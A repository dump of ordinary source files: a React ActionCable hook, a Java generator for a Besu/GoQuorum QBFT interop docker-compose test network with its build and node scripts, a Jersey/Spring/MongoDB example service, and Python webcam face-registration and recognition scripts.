subscription: ActionCable.Channel;
send: (data: ChannelDataSchema) => boolean;
ensureActiveConnection: () => void;
}
| {
subscription: null;
};
// Socket data = the data you expect in return from the channel
export const useSubscription = <ChannelDataSchema>({
channel,
params,
received,
onConnected,
debug,
}: Props<ChannelDataSchema>): SubscriptionResponse => {
const [subscription, setSubscription] = useState<ActionCable.Channel | null>(
null
);
const { consumer } = useActionCableContext();
useEffect(() => {
const subscription = consumer.subscriptions.create(
{ channel, ...params },
{
received,
}
);
if (debug) console.info("Subscribed to", channel);
if (onConnected) onConnected();
setSubscription(subscription);
return () => {
if (debug) console.info("Unsubscribing from", channel);
subscription.unsubscribe();
};
}, [channel, consumer.subscriptions, debug, onConnected, params, received]);
return subscription === null
? {
subscription: null,
}
: {
subscription,
ensureActiveConnection: consumer.ensureActiveConnection,
send: subscription.send,
};
};
<file_sep>export { ActionCableProvider } from "contexts/ActionCable";
export { useSubscription } from "hooks/useSubscription";
| 62c2e80e815cc97f877beb505d4611d169257b4a | [
"Markdown",
"TypeScript"
] | 3 | Markdown | dank-inc/reaction-cable-hooks | d3a27423fa65f09b4242d965c66f9f9b7d3fadb2 | 5d8d0dc9e2bc24035e3cb23ecc52f6d69d8c88b8 |
refs/heads/main | <file_sep>/*
* Copyright 2021 ConsenSys AG.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on
* an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
* specific language governing permissions and limitations under the License.
*
* SPDX-License-Identifier: Apache-2.0
*/
package tech.pegasys.qbft.interop;
import org.hyperledger.besu.crypto.KeyPair;
import org.yaml.snakeyaml.DumperOptions;
import org.yaml.snakeyaml.Yaml;
import java.io.FileWriter;
import java.io.IOException;
import java.io.InputStream;
import java.nio.charset.StandardCharsets;
import java.nio.file.Path;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Map;
public class DockerComposeYaml {
static final int START_IP = 10;
static final int START_RPC_PORT = 8541;
static final int START_P2P_PORT = 35300;
static final String IP_PREFIX = "172.16.239.";
private int ip = START_IP;
private int rpcPort = START_RPC_PORT;
private int p2pPort = START_P2P_PORT;
public Path generate(final Path directory, final List<KeyPair> besuNodeKeyPairs, final List<KeyPair> quorumNodeKeyPairs) throws IOException {
final DumperOptions dumperOptions = new DumperOptions();
dumperOptions.setIndent(2);
dumperOptions.setPrettyFlow(true);
dumperOptions.setDefaultFlowStyle(DumperOptions.FlowStyle.BLOCK);
final Yaml yaml = new Yaml(dumperOptions);
final Path file = directory.resolve("docker-compose.yml");
try (final FileWriter fileWriter = new FileWriter(file.toFile(), StandardCharsets.UTF_8)) {
yaml.dump(addServices(besuNodeKeyPairs, quorumNodeKeyPairs), fileWriter);
}
return file;
}
private Map<String, Object> addServices(final List<KeyPair> besuNodeKeyPairs, final List<KeyPair> quorumNodeKeyPairs) throws IOException {
final Map<String, Object> services = new LinkedHashMap<>();
int staticNodeFileIndex = 0;
final String staticNodeFileFormat = "static-nodes-%d.json";
for (int i = 0; i < besuNodeKeyPairs.size(); i++) {
final DockerComposeService service = DockerComposeService.Builder.aDockerComposeService()
.withIsBesuMode(true)
.withServiceName("besu-node-" + i)
.withHostname("besu-node-" + i)
.withIpAddress(IP_PREFIX + ip++)
.withRpcPort(rpcPort++)
.withP2pPort(p2pPort++)
.withPrivateKey(besuNodeKeyPairs.get(i).getPrivateKey().getEncodedBytes().toUnprefixedHexString())
.withStaticNodeFileName(String.format(staticNodeFileFormat, staticNodeFileIndex++))
.build();
services.putAll(service.getMap());
}
for (int i = 0; i < quorumNodeKeyPairs.size(); i++) {
final DockerComposeService service = DockerComposeService.Builder.aDockerComposeService()
.withIsBesuMode(false)
.withServiceName("quorum-node-" + i)
.withHostname("quorum-node-" + i)
.withIpAddress(IP_PREFIX + ip++)
.withRpcPort(rpcPort++)
.withP2pPort(p2pPort++)
.withPrivateKey(quorumNodeKeyPairs.get(i).getPrivateKey().getEncodedBytes().toUnprefixedHexString())
.withStaticNodeFileName(String.format(staticNodeFileFormat, staticNodeFileIndex++))
.build();
services.putAll(service.getMap());
}
final Map<String, Object> template = readTemplate();
template.put("services", services);
return template;
}
private Map<String, Object> readTemplate() throws IOException {
final Yaml yaml = new Yaml();
try (final InputStream yamlInputStream = getClass().getClassLoader().getResourceAsStream("docker-compose-template.yml")) {
return yaml.load(yamlInputStream);
}
}
}
<file_sep>/*
* Copyright 2020 ConsenSys AG.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on
* an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
* specific language governing permissions and limitations under the License.
*/
plugins {
id "io.spring.dependency-management" version "1.0.11.RELEASE"
id 'application'
}
dependencyManagement {
dependencies {
dependencySet(group: 'org.hyperledger.besu.internal', version: '21.1.3') {
entry 'qbft'
entry 'core'
entry 'crypto'
entry 'common'
}
dependency 'org.yaml:snakeyaml:1.28'
dependency 'commons-io:commons-io:2.8.0'
dependency 'info.picocli:picocli:4.6.1'
dependency 'org.apache.commons:commons-lang3:3.12.0'
}
}
repositories {
jcenter()
mavenCentral()
maven { url "https://hyperledger.jfrog.io/hyperledger/besu-maven" }
maven { url "https://artifacts.consensys.net/public/maven/maven/" }
}
dependencies {
implementation 'org.hyperledger.besu.internal:qbft'
implementation 'org.hyperledger.besu.internal:core'
implementation 'org.hyperledger.besu.internal:crypto'
implementation 'org.hyperledger.besu.internal:common'
implementation 'org.yaml:snakeyaml'
implementation 'info.picocli:picocli'
implementation 'org.apache.commons:commons-lang3'
}
application {
// Define the main class for the application.
mainClass = 'tech.pegasys.qbft.interop.QbftDockerComposeApp'
}
tasks.named('test') {
// Use junit platform for unit tests.
useJUnitPlatform()
}
<file_sep>/*
* Copyright 2021 ConsenSys AG.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on
* an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
* specific language governing permissions and limitations under the License.
*
* SPDX-License-Identifier: Apache-2.0
*/
package tech.pegasys.qbft.interop;
import org.apache.commons.lang3.StringUtils;
import org.hyperledger.besu.consensus.qbft.QbftExtraDataCodec;
import org.hyperledger.besu.crypto.KeyPair;
import org.hyperledger.besu.crypto.SECP256K1;
import org.hyperledger.besu.ethereum.core.Address;
import picocli.CommandLine;
import picocli.CommandLine.Command;
import picocli.CommandLine.Option;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.StandardCopyOption;
import java.nio.file.StandardOpenOption;
import java.util.ArrayList;
import java.util.List;
import java.util.concurrent.Callable;
import java.util.stream.Collectors;
import java.util.stream.IntStream;
import static tech.pegasys.qbft.interop.DockerComposeYaml.IP_PREFIX;
@Command(name = "qbft-docker-compose", mixinStandardHelpOptions = true, version = "qbft-docker-compose 1.0",
description = "Generate docker-compose.yml and required files to run Besu and GoQuorum in QBFT interop mode.")
public class QbftDockerComposeApp implements Callable<Integer> {
private static final SECP256K1 secp256K1 = new SECP256K1();
@Option(names = {"-b", "--besuNodes"}, description = "Number of Besu Nodes to include in docker-compose. Default: ${DEFAULT-VALUE}")
private int besuNodes = 2;
@Option(names = {"-q", "--quorumNodes"}, description = "Number of Quorum Nodes to include in docker-compose. Default: ${DEFAULT-VALUE}")
private int quorumNodes = 2;
@Option(names = {"-d", "--destination"}, description = "destination directory where docker-compose will be generated. Default: ${DEFAULT-VALUE}")
private File destination = Path.of("out").toFile().getAbsoluteFile();
@Option(names = {"-p", "--block-period"}, description = "Block period (in seconds) to use. Default: ${DEFAULT-VALUE}")
private Integer blockPeriodSeconds = 5;
@Option(names = {"-r", "--request-timeout"}, description = "Block request timeout (in seconds) to use. Default: ${DEFAULT-VALUE}")
private Integer requestTimeoutSeconds = 10;
public static void main(String[] args) {
final int exitCode = new CommandLine(new QbftDockerComposeApp()).execute(args);
System.exit(exitCode);
}
@Override
public Integer call() throws Exception {
System.out.printf("Generating docker-compose for %d Besu and %d Quorum nodes in %s%n", besuNodes, quorumNodes, destination);
// generate output directories
final Path directory = Files.createDirectories(destination.toPath());
final List<KeyPair> besuKeyPairs = generateNodeKeys(besuNodes);
final List<KeyPair> quorumKeyPairs = generateNodeKeys(quorumNodes);
// generate docker-compose file
final DockerComposeYaml dockerComposeYaml = new DockerComposeYaml();
final Path generated = dockerComposeYaml.generate(directory, besuKeyPairs, quorumKeyPairs);
System.out.println("Generated: " + generated);
// write dev.env, run scripts
copyResource(".env", directory.resolve(".env"));
System.out.println("Generated: " + directory.resolve(".env"));
copyResource("run_besu.sh", directory.resolve("run_besu.sh"));
System.out.println("Generated: " + directory.resolve("run_besu.sh"));
modifyAndCopyResource("run_geth.sh", directory.resolve("run_geth.sh"),
List.of("--istanbul.blockperiod 5",
"--istanbul.requesttimeout 10000"),
List.of("--istanbul.blockperiod " + blockPeriodSeconds,
"--istanbul.requesttimeout " + requestTimeoutSeconds * 1_000L));
System.out.println("Generated: " + directory.resolve("run_geth.sh"));
// generate ExtraData
final String genesisExtraDataString = QbftExtraDataCodec.createGenesisExtraDataString(getAddresses(besuKeyPairs, quorumKeyPairs));
System.out.println("Extra data: " + genesisExtraDataString);
// write besu_genesis
modifyAndCopyResource("besu_genesis_template.json", directory.resolve("besu_genesis.json"),
List.of("%EXTRA_DATA%",
"%BLOCK_PERIOD%",
"%REQUEST_TIMEOUT%"),
List.of(genesisExtraDataString,
String.valueOf(blockPeriodSeconds),
String.valueOf(requestTimeoutSeconds)));
System.out.println("Generated: " + directory.resolve("besu_genesis.json"));
// write quorum_genesis
modifyAndCopyResource("quorum_genesis_template.json", directory.resolve("quorum_genesis.json"),
List.of("%EXTRA_DATA%"), List.of(genesisExtraDataString));
System.out.println("Generated: " + directory.resolve("quorum_genesis_template.json"));
// write static-nodes
final Path staticNodesDir = Files.createDirectories(directory.resolve("static-nodes"));
final List<String> enodesForStaticNodes = getEnodesForStaticNodes(besuKeyPairs, quorumKeyPairs);
generateStaticNodes(staticNodesDir, enodesForStaticNodes);
return 0;
}
private void generateStaticNodes(final Path staticNodesDir, final List<String> enodesForStaticNodes) throws IOException {
//write static-nodes for each node by not including enode for itself
for (int i = 0; i < enodesForStaticNodes.size(); i++) {
List<String> enodes = new ArrayList<>(enodesForStaticNodes);
enodes.remove(i);
//write as JSON array
final String quoted = enodes.stream().map(s -> "\"" + s + "\"").collect(Collectors.joining(","));
Files.writeString(staticNodesDir.resolve("static-nodes-" + i + ".json"), "[" + quoted + "]");
}
}
private static void copyResource(final String resource, final Path destination) throws IOException {
try (final InputStream resourceAsStream = QbftDockerComposeApp.class.getClassLoader().getResourceAsStream(resource)) {
if (resourceAsStream != null) {
Files.copy(resourceAsStream, destination, StandardCopyOption.REPLACE_EXISTING);
} else {
throw new IOException("Resource not found, null returned");
}
}
}
private static void modifyAndCopyResource(final String resource, final Path destination,
final List<String> tokens,
final List<String> replacements) throws IOException {
try (final InputStream resourceAsStream = QbftDockerComposeApp.class.getClassLoader().getResourceAsStream(resource)) {
if (resourceAsStream == null) {
throw new IllegalStateException("Unable to load contents from resource: " + resource);
}
final String contents = new String(resourceAsStream.readAllBytes(), StandardCharsets.UTF_8);
final String modified = StringUtils.replaceEach(contents, tokens.toArray(String[]::new), replacements.toArray(String[]::new));
Files.writeString(destination, modified, StandardOpenOption.CREATE, StandardOpenOption.WRITE);
}
}
private static List<KeyPair> generateNodeKeys(final int numberOfNodes) {
return IntStream.range(0, numberOfNodes)
.mapToObj(i -> secp256K1.generateKeyPair())
.collect(Collectors.toList());
}
private static List<Address> getAddresses(final List<KeyPair> besuKeys, final List<KeyPair> quorumKeys) {
final List<Address> addresses = new ArrayList<>();
besuKeys.forEach(keyPair -> addresses.add(Address.extract(keyPair.getPublicKey())));
quorumKeys.forEach(keyPair -> addresses.add(Address.extract(keyPair.getPublicKey())));
return addresses;
}
private static List<String> getEnodesForStaticNodes(final List<KeyPair> besuKeys, final List<KeyPair> quorumKeys) {
int startIp = DockerComposeYaml.START_IP;
int startP2PPort = DockerComposeYaml.START_P2P_PORT;
final List<String> enodeList = new ArrayList<>();
final String template = "enode://%s@%s:%d";
for (KeyPair besuKey : besuKeys) {
final String pubKey = besuKey.getPublicKey().getEncodedBytes().toUnprefixedHexString();
enodeList.add(String.format(template, pubKey, IP_PREFIX + startIp++, startP2PPort++));
}
for (KeyPair quorumKey : quorumKeys) {
final String pubKey = quorumKey.getPublicKey().getEncodedBytes().toUnprefixedHexString();
enodeList.add(String.format(template, pubKey, IP_PREFIX + startIp++, startP2PPort++));
}
return enodeList;
}
}
<file_sep># QBFT tests
Tests for implementors of the QBFT consensus protocol to verify against.
## MessageRLPTests
These tests are to verify that QBFT messages can be RLP encoded and decoded correctly.<file_sep># QBFT INTEROP TESTING
## Overview
This projects generate docker-compose files that allows a network of GoQuorum and Besu Ethereum nodes to be run up
in a network.
This network can then be queried via Json RPC (or by log parsing) to determine if the nodes have peered and are
producing blocks.
## Built docker images locally (if required)
1. GoQuorum docker image can be built locally, e.g. git clone https://github.com/ConsenSysQuorum/quorum and checkout qibft branch. `docker build -t localquorum:1.0 .`
2. Besu docker image can be built locally. e.g. git clone https://github.com/hyperledger/besu.git. `./gradlew distDocker`.
Use `docker images` to determine the image name and tag. It should be similar to:
`hyperledger/besu:21.1.3-SNAPSHOT-openjdk-11`. The latest image from dockerhub can also be fetched `hyperledger/besu:develop`
3. Update values of `QUORUM_IMAGE` and `BESU_IMAGE` in `.env` file if required
(either in resources which will be applicable on all future runs `./app/src/main/resources/.env` or in generated `./out/.env`)
## Generate docker-compose
0. delete `./app/out` if required
1. Execute `./gradlew run`
2. The above command will (by default) generate a docker-compose with 2 Besu nodes and 2 Quorum nodes in `./app/out` folder.
3. To get command help and/or modify args, run `./gradlew run --args="-h"`.
## Operation
To run this network:
0. Ensure a Docker server is running on the local PC
1. `cd` to `out` directory (or directory where `docker-compose.yml` is generated).
2. Execute `docker-compose up --force-recreate` (this prevent old databases being reused)
3. Execute (in a separate shell window) `docker-compose down` to bring the network down. `<CTRL+C>` also works.
## Network Topology
* Each time the project is executed, a new set of SECP256k1 keys are generated for each node.
docker-compose and static-nodes files are updated accordingly with fixed ports and IP addresses.
* static-nodes file is also generated for each node (excluding self enode address). Discovery is also enabled.
## Sample commands from host:
* `curl -X POST -H "Content-Type: application/json" --data '{"jsonrpc":"2.0","method":"admin_peers","params":[],"id":1}' http://localhost:8542 | jq '.'`
* `docker-compose logs quorum-node-0`
* `docker-compose logs besu-nodes-0`
## Tests to be conducted
There are a variety of tests which are useful to conduct using this system:
1. Peering - do our nodes connect (agree on SubProtocols, and Genesis File Hash)
2. Passive Mining - do our nodes accept blocks mined by the network?
3. Active Mining - can Besu and GoQuorum interact using QBFT messaging to produce blocks (ideally will need 50/50 Besu/Quorum participants)
4. Validator Changes - can we vote in/out validators? Does our block hashing and process work as expected?
5. Round-change - can we terminate 1/3 of the network, and continue to produce blocks
6. Migration - can a network migrate from IBFT --> IBFT(2/3) --> QBFT? Do all participants transition)
<file_sep>#! /bin/sh
set -euo pipefail
PRIV_KEY=${1:?Must specify node key}
P2P_PORT=${2:?Must specify P2P port}
RPC_PORT=${3:?Must specify RPC port}
STATIC_NODE_FILE=${4:?Must specify static nodes filename}
P2P_IP=`awk 'END{print $1}' /etc/hosts`
mkdir -p /eth/geth
cp /scripts/static-nodes/${STATIC_NODE_FILE} /eth/geth/static-nodes.json
geth --datadir "/eth" init "/scripts/quorum_genesis.json"
geth \
--mine \
--nousb \
--identity "${HOSTNAME}" \
--http \
--http.addr "0.0.0.0" \
--http.port "${RPC_PORT}" \
--http.corsdomain "*" \
--http.api "admin,db,eth,net,web3,istanbul,personal" \
--datadir "/eth" \
--port ${P2P_PORT} \
--bootnodes "" \
--networkid "2017" \
--nat "extip:${P2P_IP}" \
--nodekeyhex "${PRIV_KEY}" \
--debug \
--metrics \
--syncmode "full" \
--miner.gasprice 0 \
--istanbul.blockperiod 5 \
--istanbul.requesttimeout 10000<file_sep>#! /bin/bash
PRIV_KEY=${1:?Must specify node key}
P2P_PORT=${2:?Must specify P2P port}
RPC_PORT=${3:?Must specify rpc port}
STATIC_NODE_FILE=${4:?Must specify static nodes filename}
P2P_IP=`awk 'END{print $1}' /etc/hosts`
echo ${PRIV_KEY} > /tmp/prv.key
cp /scripts/static-nodes/${STATIC_NODE_FILE} /opt/besu/static-nodes.json
besu --genesis-file=/scripts/besu_genesis.json \
--logging=trace \
--discovery-enabled=true \
--host-allowlist=all \
--rpc-http-cors-origins=all \
--rpc-http-enabled=true \
--rpc-http-port=${RPC_PORT} \
--p2p-host=${P2P_IP} \
--p2p-port=${P2P_PORT} \
--node-private-key-file=/tmp/prv.key \
--rpc-http-apis=ETH,NET,DEBUG,ADMIN,WEB3,EEA,PRIV,QBFT | 90c70a5a8e1d58ce5f9686d6c0f3f2bf33b132fa | [
"Markdown",
"Java",
"Shell",
"Gradle"
] | 7 | Java | usmansaleem/qbft-tests | b0a21e86e30ae41801b81bf6ba1f4ac83d739ffe | 281a3ec8eeb2b02b71279b9131482e1f04750413 |
refs/heads/master | <repo_name>softik/jersey2-spring4-jetty9<file_sep>/settings.gradle
include 'test-project'<file_sep>/test-project/src/main/java/com/quaiks/example/service/SaveUserRequest.java
package com.quaiks.example.service;
import org.hibernate.validator.constraints.Email;
import org.hibernate.validator.constraints.NotBlank;
public class SaveUserRequest {
private String id;
@Email
@NotBlank
private String email;
@NotBlank
private String password;
public String getEmail() {
return email;
}
public void setEmail(String email) {
this.email = email;
}
public String getPassword() {
return password;
}
public void setPassword(String password) {
this.password = password;
}
public String getId() {
return id;
}
public void setId(String id) {
this.id = id;
}
}<file_sep>/test-project/src/cucumber/java/com/quaiks/example/CucumberScenario.java
package com.quaiks.example;
import cucumber.api.java.en.Given;
import cucumber.api.java.en.Then;
import cucumber.api.java.en.When;
public class CucumberScenario {
@Given("^something$")
public void something() throws Throwable {
}
@When("^an action is performed$")
public void an_action_is_performed() throws Throwable {
}
@Then("^something should be asserted$")
public void something_should_be_asserted() throws Throwable {
}
}
<file_sep>/test-project/src/main/java/com/quaiks/example/server/WebServer.java
package com.quaiks.example.server;
import org.eclipse.jetty.server.Server;
import org.eclipse.jetty.servlet.ServletContextHandler;
import org.eclipse.jetty.servlet.ServletHolder;
import org.glassfish.jersey.servlet.ServletContainer;
import org.glassfish.jersey.servlet.ServletProperties;
import org.springframework.web.context.ContextLoader;
import org.springframework.web.context.ContextLoaderListener;
import org.springframework.web.context.support.AnnotationConfigWebApplicationContext;
import com.quaiks.example.BasePackageMarker;
import com.quaiks.example.config.AppResourceConfig;
public class WebServer {
public static void main(String[] args) throws Exception {
ServletContextHandler context = createSpringServletContext();
context.addServlet(createJerseyServletHolder(), "/*");
Server server = new Server(3850);
server.setHandler(context);
server.start();
System.in.read();
server.stop();
}
private static ServletContextHandler createSpringServletContext() {
ServletContextHandler context = new ServletContextHandler(ServletContextHandler.SESSIONS);
context.setContextPath("/");
context.setInitParameter(ContextLoader.CONTEXT_CLASS_PARAM, AnnotationConfigWebApplicationContext.class.getName());
context.setInitParameter(ContextLoader.CONFIG_LOCATION_PARAM, BasePackageMarker.class.getPackage().getName());
context.addEventListener(new ContextLoaderListener());
return context;
}
private static ServletHolder createJerseyServletHolder() {
ServletHolder sh = new ServletHolder(new ServletContainer());
sh.setInitParameter(ServletProperties.JAXRS_APPLICATION_CLASS, AppResourceConfig.class.getName());
return sh;
}
}<file_sep>/gradle/codeAnalysis/pmd.gradle
apply plugin: "pmd"
pmd {
ignoreFailures = true
ruleSets = [
"basic",
"braces",
"naming",
"android",
"clone",
"codesize",
"controversial",
"design",
"finalizers",
"imports",
"j2ee",
"javabeans",
"junit",
"logging-jakarta-commons",
"logging-java",
"migrating",
"optimizations",
"strictexception",
"strings",
"sunsecure",
"typeresolution",
"unusedcode"
]
}<file_sep>/build.gradle
buildscript {
repositories {
jcenter()
mavenCentral()
}
dependencies {
classpath "com.github.jengelman.gradle.plugins:shadow:1.1.1"
classpath "com.github.samueltbrown:gradle-cucumber-plugin:0.8"
}
}
subprojects {
apply plugin: "java"
apply plugin: "com.github.johnrengelman.shadow"
apply plugin: "com.github.samueltbrown.cucumber"
apply from: "$rootDir/gradle/release/versioning.gradle"
apply from: "$rootDir/gradle/codeAnalysis/jacoco.gradle"
apply from: "$rootDir/gradle/codeAnalysis/pmd.gradle"
repositories {
mavenCentral()
}
ext {
// LOG
slf4jVersion="1.7.7"
logbackVersion="1.1.2"
// SPRING
springVersion="4.1.1.RELEASE"
springMongodbVersion="1.6.1.RELEASE"
// REST
jerseyVersion="2.13"
// WEB SERVER
servletVersion="3.1.0"
jettyVersion="9.2.3.v20140905"
// HYSTRIX
hystrixVersion="1.4.0-RC5"
// TEST
junitVersion="4.11"
mockitoVersion="1.10.8"
}
group = "com.quaiks.example"
dependencies {
// LOG
compile "org.slf4j:jul-to-slf4j:$slf4jVersion"
compile "ch.qos.logback:logback-classic:$logbackVersion"
// SPRING
compile "javax.inject:javax.inject:1"
compile "org.springframework:spring-core:$springVersion"
compile "org.springframework:spring-beans:$springVersion"
compile "org.springframework:spring-context:$springVersion"
compile "org.springframework:spring-tx:$springVersion"
compile "org.springframework:spring-web:$springVersion"
compile "org.springframework.data:spring-data-mongodb:$springMongodbVersion"
// REST
compile "org.glassfish.jersey.ext:jersey-spring3:$jerseyVersion"
compile "org.glassfish.jersey.media:jersey-media-json-jackson:$jerseyVersion"
compile "org.glassfish.jersey.containers:jersey-container-servlet:$jerseyVersion"
compile "org.glassfish.jersey.ext:jersey-bean-validation:$jerseyVersion"
// WEB SERVER
compile "javax.servlet:javax.servlet-api:$servletVersion"
compile "org.eclipse.jetty:jetty-servlet:$jettyVersion"
compile "com.netflix.hystrix:hystrix-core:$hystrixVersion"
// TEST
testCompile "org.springframework:spring-test:$springVersion"
testCompile "junit:junit:$junitVersion"
testCompile "org.mockito:mockito-all:$mockitoVersion"
// CUCUMBER
testCompile "info.cukes:cucumber-java:1.1.8"
testCompile "info.cukes:cucumber-junit:1.1.8"
testCompile "info.cukes:cucumber-spring:1.1.8"
}
shadowJar {
manifest {
attributes "Main-Class": "com.quaiks.example.server.WebServer"
}
baseName = project.name
classifier = "fatjar"
}
}<file_sep>/test-project/src/main/java/com/quaiks/example/resources/MongodbResource.java
package com.quaiks.example.resources;
import java.util.concurrent.ExecutionException;
import javax.inject.Inject;
import javax.inject.Named;
import javax.validation.Valid;
import javax.ws.rs.Consumes;
import javax.ws.rs.GET;
import javax.ws.rs.POST;
import javax.ws.rs.Path;
import javax.ws.rs.Produces;
import javax.ws.rs.container.AsyncResponse;
import javax.ws.rs.container.Suspended;
import javax.ws.rs.core.MediaType;
import javax.ws.rs.core.Response;
import javax.ws.rs.core.Response.Status;
import org.springframework.data.mongodb.core.MongoTemplate;
import com.quaiks.example.service.SaveUserRequest;
@Named
@Path("/mongo")
@Produces(MediaType.APPLICATION_JSON)
@Consumes(MediaType.APPLICATION_JSON)
public class MongodbResource {
private static final String TEST_COLLECTION = "testCollection";
@Inject
private MongoTemplate mongoTemplate;
@GET
public Response getAllUsers() {
return Response.ok(mongoTemplate.findAll(SaveUserRequest.class, TEST_COLLECTION)).build();
}
@POST
public void saveUser(@Suspended AsyncResponse asyncResponse, @Valid SaveUserRequest saveUserRequest) throws InterruptedException, ExecutionException {
mongoTemplate.save(saveUserRequest, TEST_COLLECTION);
asyncResponse.resume(Response.status(Status.ACCEPTED).build());
}
}<file_sep>/test-project/src/main/java/com/quaiks/example/config/MongoDbConfig.java
package com.quaiks.example.config;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.data.mongodb.core.MongoTemplate;
import com.mongodb.MongoClient;
@Configuration
public class MongoDbConfig {
public @Bean MongoTemplate mongoTemplate() throws Exception {
return new MongoTemplate(new MongoClient(), "test");
}
} | 09c26d659bf75627a903e404a8ae8e150e232538 | [
"Java",
"Gradle"
] | 8 | Gradle | softik/jersey2-spring4-jetty9 | 8cbf134ddbd0556c1d3c10c4f906b11fcfc6f224 | 076152a72014d1395fbc56b64b1be991f5860692 |
refs/heads/master | <repo_name>immohann/Face-Recognition-DL<file_sep>/register.py
#import required libraries
import cv2
import sys , os
import numpy as np
##############################################
#setting up the dataset files
# It captures images and stores them in datasets
# folder under the folder name of sub_dir
haar_file = 'haarcascade_frontalface_default.xml'
# All the faces data will be
# present this folder
train = 'datasets/train'
validation='datasets/validation'
###############################################
# These are sub data sets of folder,
# for my faces I've used my name you can
# change the label here
sub_dir = input('Enter Name to Register Face: ')
###############################################
# setting path for storing the images in train and test set
dataset='dataset'
train = 'dataset/train'
validation='dataset/validation'
if not os.path.isdir(dataset):
os.mkdir(dataset)
if not os.path.isdir(train):
os.mkdir(train)
if not os.path.isdir(validation):
os.mkdir(validation)
path1 = os.path.join(train, sub_dir)
path2=os.path.join(validation, sub_dir)
if not os.path.isdir(path1):
os.mkdir(path1)
if not os.path.isdir(path2):
os.mkdir(path2)
#################################################
# defining the size of images
(width, height) = (400, 400)
#################################################
#'0' is used for my webcam,
# if you've any other camera
# attached use '1' like this
face_cascade = cv2.CascadeClassifier(haar_file)
webcam = cv2.VideoCapture(0)
#################################################
# this function is created in order to avoid overwriting of images
# by keeping the count of the files already in the mentioned directory
def get_max(l):
number = []
for word in l:
temp = ''
for letter in word:
if letter != '.':
temp += letter
else:
break
number.append(int(temp))
return max(number)
#####################################################
# The program loops until it has 50 images of the face.
path='dataset/train/'+sub_dir
if os.listdir(path):
count = get_max(os.listdir(path))
else:
count = 0
num_img = count + 160
split=0.8
mid=num_img//2
split_train=split*num_img
split_test=(1-split)*num_img
count = 1
while count < num_img:
(_, im) = webcam.read()
gray = cv2.cvtColor(im, cv2.COLOR_BGR2GRAY)
faces = face_cascade.detectMultiScale(gray, 1.3, 4)
for (x, y, w, h) in faces:
cv2.rectangle(im, (x-20, y-20), (x + w+20, y + h+20), (0, 0, 0), 2)
face = gray[y:y + h, x:x + w]
face_resize = cv2.resize(face, (width, height))
if count>mid and count <mid+split_test:
cv2.imwrite('% s/% s.jpg' % (path2, count), face_resize)
else:
cv2.imwrite('% s/% s.jpg' % (path1, count), face_resize)
# cv2.imwrite('% s/% s.jpg' % (path, count), face_resize)
count += 1
cv2.imshow('OpenCV', im)
key = cv2.waitKey(10)
if key == 27:
break
webcam.release()
cv2.destroyAllWindows()
print("Collecting Samples Complete")
#######################################################
<file_sep>/test.py
import tensorflow as tf
from tensorflow.keras.models import load_model
from PIL import Image
from keras.applications.vgg16 import preprocess_input
import base64
from io import BytesIO
import json
import random
import cv2
import numpy as np
from keras.preprocessing import image
import os
#load saved model
model = load_model('mymodel2.h5')
# For naming the classes
l_ = []
for f in os.listdir('dataset/train/'):
l_.append(f.upper())
l_ = sorted(l_)
people = {}
for i,person in enumerate(l_):
people[i] = person.title()
#testing
# Loading the cascade
face_cascade = cv2.CascadeClassifier('haarcascade_frontalface_default.xml')
# def face_extractor(img):
# # Function detects faces and returns the cropped face
# # If no face detected, it returns the input image
# faces = face_cascade.detectMultiScale(img, 1.3, 5)
# if faces is ():
# return None
# # Crop all faces found
# for (x,y,w,h) in faces:
# cv2.rectangle(img,(x,y),(x+w,y+h),(0,0,0),2)
# cropped_face = img[y:y+h, x:x+w]
# return cropped_face
# Doing some Face Recognition with the webcam
video_capture = cv2.VideoCapture(0)
while True:
_, frame = video_capture.read()
cropped_face=None
# face=face_extractor(frame)
faces = face_cascade.detectMultiScale(frame, 1.3, 5)
if faces is ():
face= None
# Crop all faces found
for (x,y,w,h) in faces:
cv2.rectangle(frame,(x,y),(x+w,y+h),(0,200,0),2)
cropped_face = frame[y:y+h, x:x+w]
face=cropped_face
cv2.putText(frame,"Press 'q' to quit", (30, 30), cv2.FONT_HERSHEY_DUPLEX, 0.6, (0,0,0), 2)
if type(face) is np.ndarray:
face = cv2.resize(face, (224, 224))
im = Image.fromarray(face, 'RGB')
img_array = np.array(im)
img_array = np.expand_dims(img_array, axis=0)
pred = model.predict(img_array)
pid = np.argmax(pred,axis=1)[0]
name="None matching"
name = people[pid]
cv2.putText(frame,name, (x, y-7), cv2.FONT_HERSHEY_SIMPLEX, 0.6, (0,200,0), 2)
else:
for (x,y,w,h) in faces:
cv2.rectangle(frame,(x,y),(x+w,y+h),(0,0,220),2)
cropped_face = frame[y:y+h, x:x+w]
face=cropped_face
name='Not-Recognized'
cv2.putText(frame,name, (x, y-7), cv2.FONT_HERSHEY_SIMPLEX, 0.6, (0,0,220), 2)
cv2.imshow('Video', frame)
if cv2.waitKey(1) & 0xFF == ord('q'):
break
video_capture.release()
cv2.destroyAllWindows()
<file_sep>/train.py
import tensorflow as tf
import numpy as np
import matplotlib.pyplot as plt
from glob import glob
from keras.layers import Lambda, Input, Flatten, Dense
from keras.preprocessing import image
from keras.optimizers import RMSprop
from keras.models import Sequential
from tensorflow.keras.optimizers import RMSprop
from tensorflow.keras.preprocessing.image import ImageDataGenerator
#Get number of classes from the number of directories in train folder
dirs = glob('dataset/train/*')
print('Classes: ' + str(len(dirs)))
x=len(dirs)
